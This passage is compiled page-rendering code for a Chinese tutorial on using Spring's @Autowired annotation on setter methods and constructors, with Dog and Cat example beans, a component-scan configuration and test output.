keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getCat")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setCat")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("cat "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Override")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("toString")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"Dog{"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"cat="')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" cat "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token char"}},[s._v("'}'")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br"),t("span",{staticClass:"line-number"},[s._v("12")]),t("br"),t("span",{staticClass:"line-number"},[s._v("13")]),t("br"),t("span",{staticClass:"line-number"},[s._v("14")]),t("br"),t("span",{staticClass:"line-number"},[s._v("15")]),t("br"),t("span",{staticClass:"line-number"},[s._v("16")]),t("br"),t("span",{staticClass:"line-number"},[s._v("17")]),t("br"),t("span",{staticClass:"line-number"},[s._v("18")]),t("br"),t("span",{staticClass:"line-number"},[s._v("19")]),t("br"),t("span",{staticClass:"line-number"},[s._v("20")]),t("br"),t("span",{staticClass:"line-number"},[s._v("21")]),t("br"),t("span",{staticClass:"line-number"},[s._v("22")]),t("br"),t("span",{staticClass:"line-number"},[s._v("23")]),t("br"),t("span",{staticClass:"line-number"},[s._v("24")]),t("br"),t("span",{staticClass:"line-number"},[s._v("25")]),t("br")])]),t("p",[s._v("配置好之后,我们还需要在AutowiredConfig类的@ComponentScan注解中进行配置,使其能够扫描"),t("code",[s._v("io.mykit.spring.plugins.register.controller")]),s._v("包下的类,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Configuration")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@ComponentScan")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("value "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"io.mykit.spring.plugins.register.dao"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"io.mykit.spring.plugins.register.service"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"io.mykit.spring.plugins.register.controller"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"io.mykit.spring.plugins.register.bean"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AutowiredConfig")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br")])]),t("p",[s._v("此时,我们可以直接在Dog类中的cat字段上添加@Autowired注解,使其自动装配。这是我们在《"),t("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg3MzE1NTIzNA==&mid=2247486002&idx=1&sn=9e42ec6586363d6ab1e61beb14ee3322&chksm=cee515fff9929ce951a597f0cdb0bb04a615aef1287cac954645cdfd551518c0169350cd846e&token=1511192793&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[s._v("【Spring注解驱动开发】使用@Autowired@Qualifier@Primary三大注解自动装配组件,你会了吗?"),t("OutboundLink")],1),s._v("》一文中得出的结论。那今天我们就使用其他的方式来实现cat的自动装配。")]),s._v(" "),t("h3",{attrs:{id:"标注在实例方法上"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#标注在实例方法上"}},[s._v("#")]),s._v(" 标注在实例方法上")]),s._v(" "),t("p",[s._v("我们也可以将@Autowired注解标注在setter方法上,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Autowired")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setCat")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("cat "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br")])]),t("p",[t("strong",[s._v("当@Autowired注解标注在方法上时,Spring容器在创建对象的时候,就会调用相应的方法为对象赋值。如果标注的方法存在参数时,则方法使用的参数和自定义类型的值,需要从IOC容器中获取。")])]),s._v(" "),t("p",[s._v("接下来,我们将AutowiredTest类的testAutowired01()方法中有关获取和打印PersonService信息的代码注释,新增获取和打印Dog信息的代码,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Test")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("testAutowired01")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//创建IOC容器")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AnnotationConfigApplicationContext")]),s._v(" context "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AnnotationConfigApplicationContext")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AutowiredConfig")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//PersonService personService = context.getBean(PersonService.class);")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//System.out.println(personService);")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Dog")]),s._v(" dog "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" context"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getBean")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Dog")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("dog"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("toString")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n context"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("close")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br")])]),t("p",[s._v("运行AutowiredTest类的testAutowired01()方法进行测试,可以看到,结果信息中输出了如下一行信息。")]),s._v(" "),t("div",{staticClass:"language-bash line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-bash"}},[t("code",[s._v("Dog"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("cat"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("io.mykit.spring.plugins.register.bean.Cat@6a400542"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br")])]),t("p",[s._v("说明已经获取到cat的信息,可以将@Autowired注解标注在方法上")]),s._v(" "),t("p",[s._v("为了验证最终的输出结果是否是从IOC容器中获取的,我们可以在AutowiredTest类的testAutowired01()方法中直接获取Cat的信息,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Test")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("testAutowired01")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//创建IOC容器")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AnnotationConfigApplicationContext")]),s._v(" context "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AnnotationConfigApplicationContext")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AutowiredConfig")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//PersonService personService = context.getBean(PersonService.class);")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//System.out.println(personService);")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Dog")]),s._v(" dog "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" context"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getBean")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Dog")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("dog"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("toString")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" context"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getBean")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n context"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("close")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br"),t("span",{staticClass:"line-number"},[s._v("12")]),t("br")])]),t("p",[s._v("我们再次运行AutowiredTest类的testAutowired01()方法进行测试,可以在输出的结果信息看到如下两行代码。")]),s._v(" "),t("div",{staticClass:"language-bash line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-bash"}},[t("code",[s._v("Dog"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("cat"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("io.mykit.spring.plugins.register.bean.Cat@6a400542"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\nio.mykit.spring.plugins.register.bean.Cat@6a400542\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br")])]),t("p",[s._v("可以看出在Dog类中通过@Autowired注解获取到的Cat对象和直接从IOC容器中获取到Cat对象是同一个对象。")]),s._v(" "),t("h3",{attrs:{id:"标注在构造方法上"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#标注在构造方法上"}},[s._v("#")]),s._v(" 标注在构造方法上")]),s._v(" "),t("p",[s._v("在前面的案例中,我们在Dog类上使用了@Component注解,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("package")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("io"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("mykit"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("spring"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("plugins"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("register"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("bean")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token import"}},[t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("org"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("springframework"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("beans"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("factory"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Autowired")])]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token import"}},[t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("org"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("springframework"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("stereotype"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Component")])]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe\n * @version 1.0.0\n * @description 测试实体类\n */")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Component")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Dog")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getCat")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Autowired")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setCat")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("cat "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Override")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("toString")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"Dog{"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"cat="')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" cat "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token char"}},[s._v("'}'")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" 